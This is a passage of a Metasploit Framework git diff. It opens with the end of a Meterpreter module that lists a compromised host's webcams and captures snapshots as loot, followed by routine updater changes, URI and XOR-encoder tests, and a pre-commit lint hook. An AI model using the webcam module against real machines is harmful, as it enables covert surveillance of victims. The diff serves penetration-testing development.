=> [ "meterpreter" ], + 'Actions' => + [ + [ 'LIST', { 'Description' => 'Show a list of webcams' } ], + [ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ] + ], + 'DefaultAction' => 'LIST' + )) + + register_options( + [ + OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]), + OptInt.new('QUALITY', [false, 'The JPEG image quality', 50]) + ], self.class) + end + + + def run + if client.nil? + print_error("Invalid session ID selected. Make sure the host isn't dead.") + return + end + + if not action + print_error("Invalid action") + return + end + + case action.name + when /^list$/i + list_webcams(true) + when /^snapshot$/i + snapshot + end + end + + + def rhost + client.sock.peerhost + end + + + def snapshot + webcams = list_webcams + + if webcams.empty? + print_error("#{rhost} - No webcams found") + return + end + + if not webcams[datastore['INDEX']-1] + print_error("#{rhost} - No such index: #{datastore['INDEX'].to_s}") + return + end + + buf = nil + + begin + print_status("#{rhost} - Starting...") + client.webcam.webcam_start(datastore['INDEX']) + + buf = client.webcam.webcam_get_frame(datastore['QUALITY']) + if buf + print_status("#{rhost} - Got frame") + + p = store_loot( + "#{rhost}.webcam.snapshot", + 'application/octet-stream', + rhost, + buf, + "#{rhost}_snapshot.jpg", + "#{rhost} Webcam Snapshot" + ) + + print_good("#{rhost} - Snapshot saved: #{p}") + end + + client.webcam.webcam_stop + print_status("#{rhost} - Stopped") + rescue Rex::Post::Meterpreter::RequestError => e + print_error(e.message) + return + end + end + + + def list_webcams(show=false) + begin + webcams = client.webcam.webcam_list + rescue Rex::Post::Meterpreter::RequestError + webcams = [] + end + + if show + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Webcam List', + 'Indent' => 1, + 'Columns' => ['Index', 'Name'] + ) + + webcams.each_with_index do |name, indx| + tbl << [(indx+1).to_s, name] + end + + print_line(tbl.to_s) + end + + return webcams + end + +end + diff --git a/msfupdate b/msfupdate index be7f75dee586..6b168d009129 100755 --- a/msfupdate +++ b/msfupdate @@ -23,13 +23,20 @@ $stderr.puts "[*] Attempting to update the Metasploit Framework..." $stderr.puts "[*]" $stderr.puts "" +# Bail right away, no waiting around for consoles. if not (Process.uid == 0 or File.stat(msfbase).owned?) - $stderr.puts "[-] ERROR: User running msfupdate does not own the metasploit install" - $stderr.puts "Please run msfupdate as the same user who installed metasploit." + $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" + $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." + exit 0x10 end -def is_pro - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) +def is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) +end + +# Are you an installer, or did you get here via a source checkout? +def is_installed + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git @@ -56,6 +63,34 @@ def print_deprecation_warning $stdout.puts "[*] Please adjust your egress firewall rules accordingly." end +def maybe_wait_and_exit(exit_code=0) + if @actually_wait + $stdout.puts "" + $stdout.puts "[*] Please hit enter to exit" + $stdout.puts "" + $stdin.readline + exit exit_code + end +end + +def apt_upgrade_available(package) + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3("apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end +end + # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| @@ -102,7 +137,7 @@ if is_svn $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" $stderr.puts "[-] to ensure a proper environment." - exit 1 + maybe_wait_and_exit 1 else # Cleanup worked, go ahead and update system("svn", "update", *@args) @@ -134,7 +169,7 @@ if is_git $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" $stderr.puts "[-] to ensure a proper environment." - exit 1 + maybe_wait_and_exit 1 elsif not committed system("git", "stash") $stdout.puts "[*] Stashed local changes to avoid merge conflicts." @@ -147,18 +182,52 @@ if is_git system("git", "merge", "#{remote}/#{branch}") end -if is_pro +if is_installed update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) - system("ruby", update_script) + product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) + if File.exists? product_key + if File.readable? product_key + system("ruby", update_script) + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] You must be able to read the product key for the" + $stdout.puts "[-] Metasploit installation in order to run msfupdate." + $stdout.puts "[-] Usually, this means you must be root (EUID 0)." + maybe_wait_and_exit 10 + end + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] In order to update your Metasploit installation," + $stdout.puts "[-] you must first register it through the UI, here:" + $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" + $stderr.puts "[-] Edition is totally free and takes just a few seconds" + $stderr.puts "[-] to register!)" + maybe_wait_and_exit 11 + end end -unless is_svn || is_git || is_pro - raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" +if is_apt + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") + + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + system("/etc/init.d/metasploit start") if packages.include?('metasploit') + end end -if @actually_wait - $stderr.puts "" - $stderr.puts "[*] Please hit enter to exit" - $stderr.puts "" - $stdin.readline +unless is_svn || is_git || is_installed || is_apt + raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end + +maybe_wait_and_exit(0) + diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 247a0b7a7d76..34d814055231 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -530,7 +530,7 @@ def cmd_openvas_report_import(*args) end else print_status("Usage: openvas_report_import <report_id> <format_id>") - print_status("Only the NBE format is supported for importing.") + print_status("Only the NBE and XML formats are supported for importing.") end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 73298366d42b..93180d3a5a72 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -11,7 +11,7 @@ mod end - context 'normalize_uri' do + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' end @@ -20,6 +20,20 @@ subject.normalize_uri(unnormalized_uri) end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end + + it "should be '/'" do + unnormalized_uri.should == '/' + end + + it "should return '/'" do + normalized_uri.should == '/' + end + end + context "with starting '/'" do let(:unnormalized_uri) do expected_normalized_uri @@ -30,7 +44,17 @@ end it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == expected_normalized_uri + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end context "with multiple starting '/'" do @@ -48,39 +72,25 @@ end context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end + let(:unnormalized_uri) do "#{expected_normalized_uri}/" end it "should end with '/'" do - unnormalized_uri[-1, 1].should == '/' - end - - it "should remove the trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - - context "with just '/'" do - let(:unnormalized_uri) do - '/' - end - - it "should be '/'" do - unnormalized_uri.should == '/' - end - - it "should return '/'" do - normalized_uri.should == '/' - end + normalized_uri[-1, 1].should == '/' end - context "with multiple multiple trailing '/'" do + context "with multiple trailing '/'" do let(:unnormalized_uri) do - "#{expected_normalized_uri}//" + "#{expected_normalized_uri}/" end it "should have multiple trailing '/'" do - unnormalized_uri[-2 .. -1].should == '//' + unnormalized_uri[-2,2].should == '//' end it "should return only one trailing '/'" do @@ -105,16 +115,15 @@ end context "without starting '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end - context "with trailing '/'" do let(:unnormalized_uri) do 'a/b/c/' end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "'should have trailing '/'" do + it "should have trailing '/'" do unnormalized_uri[-1, 1].should == '/' end @@ -122,17 +131,31 @@ normalized_uri[0, 1].should == '/' end - it "'should remove trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == "#{expected_normalized_uri}" + end + + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end + + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end end end context "without trailing '/'" do - it "'should not have trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end + + it "should not have trailing '/'" do unnormalized_uri[-1, 1].should_not == '/' end @@ -143,35 +166,35 @@ it "should add trailing '/'" do normalized_uri[-1, 1].should_not == '/' end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end + it "should return '/" do + normalized_uri.should == '/' end end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/encoding/xor/byte.rb b/spec/lib/rex/encoding/xor/byte.rb new file mode 100644 index 000000000000..03dae077215b --- /dev/null +++ b/spec/lib/rex/encoding/xor/byte.rb @@ -0,0 +1,7 @@ + +require 'rex/encoding/xor/byte' +require 'spec_helper' + +describe Rex::Encoding::Xor::Byte do + it_behaves_like "an xor encoder", 1 +end diff --git a/spec/lib/rex/encoding/xor/dword.rb b/spec/lib/rex/encoding/xor/dword.rb new file mode 100644 index 000000000000..353909385549 --- /dev/null +++ b/spec/lib/rex/encoding/xor/dword.rb @@ -0,0 +1,7 @@ + +require 'rex/encoding/xor/dword' +require 'spec_helper' + +describe Rex::Encoding::Xor::Dword do + it_behaves_like "an xor encoder", 4 +end diff --git a/spec/lib/rex/encoding/xor/qword.rb b/spec/lib/rex/encoding/xor/qword.rb new file mode 100644 index 000000000000..12ae6f6cd381 --- /dev/null +++ b/spec/lib/rex/encoding/xor/qword.rb @@ -0,0 +1,7 @@ + +require 'rex/encoding/xor/qword' +require 'spec_helper' + +describe Rex::Encoding::Xor::Qword do + it_behaves_like "an xor encoder", 8 +end diff --git a/spec/lib/rex/encoding/xor/word.rb b/spec/lib/rex/encoding/xor/word.rb new file mode 100644 index 000000000000..78284b96d5c5 --- /dev/null +++ b/spec/lib/rex/encoding/xor/word.rb @@ -0,0 +1,7 @@ + +require 'rex/encoding/xor/word' +require 'spec_helper' + +describe Rex::Encoding::Xor::Word do + it_behaves_like "an xor encoder", 2 +end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb new file mode 100644 index 000000000000..df9cd08c9ae6 --- /dev/null +++ b/spec/support/shared/examples/xor_encoder.rb @@ -0,0 +1,20 @@ +shared_examples_for 'an xor encoder' do |keysize| + + it "should encode one block" do + # Yup it returns one of its arguments in an array... Because spoon. + encoded, key = described_class.encode("A"*keysize, "A"*keysize) + encoded.should eql("\x00"*keysize) + + encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) + encoded.should eql("\xff"*keysize) + + encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) + encoded.should eql("\x88"*keysize) + end + + it "should encode multiple blocks" do + encoded, key = described_class.encode("\xf7"*keysize*40, "\x7f"*keysize) + encoded.should eql("\x88"*keysize*40) + end + +end diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 000000000000..2625d6d64af6 --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,54 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf <this file> <path to commit hook> + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a476..8faa3b03d55a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ def check_badchars end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -226,9 +226,7 @@ def test_old_rubies(f_rel) puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking @@ -281,6 +279,7 @@ def check_title_casing words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end